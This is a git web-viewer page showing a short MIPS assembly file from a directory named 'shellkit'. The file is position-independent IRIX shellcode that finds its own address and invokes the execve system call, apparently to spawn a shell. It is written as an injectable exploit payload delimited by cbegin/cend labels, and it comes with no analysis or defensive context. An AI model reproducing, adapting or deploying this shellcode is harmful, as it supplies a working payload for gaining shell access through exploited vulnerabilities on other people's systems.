summaryrefslogtreecommitdiff
path: root/other/shellkit/mips_irix/execvesh.s
blob: 89fd45b81453432bbe7029d8bdbbb988b5f5cd02 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* MIPS/IRIX PIC execve code
 *
 * -sc.
 */

#include <sgidefs.h>
#include <sys/regdef.h>
#include <sys/asm.h>
#include <sys.s>
#include <sys/syscall.h>

	.section .text

	.globl	cbegin
	.globl	cend

cbegin:
	.set	noreorder
	.set	nomacro

	sw	zero, -4(sp)
foo:	bltzal	zero, foo
	lw	a2, -4(sp)

	addu	ra, ra, 0x0124	/* add 36 + 0x0100 */

	add	a0, ra, -(8 + 0x100)
	sb	zero, -(1 + 0x100)(ra)
	sw	a0, -8(sp)
	subu	a1, sp, 8
	li	v0, SYS_execve
	syscall

	.end	cbegin
cend: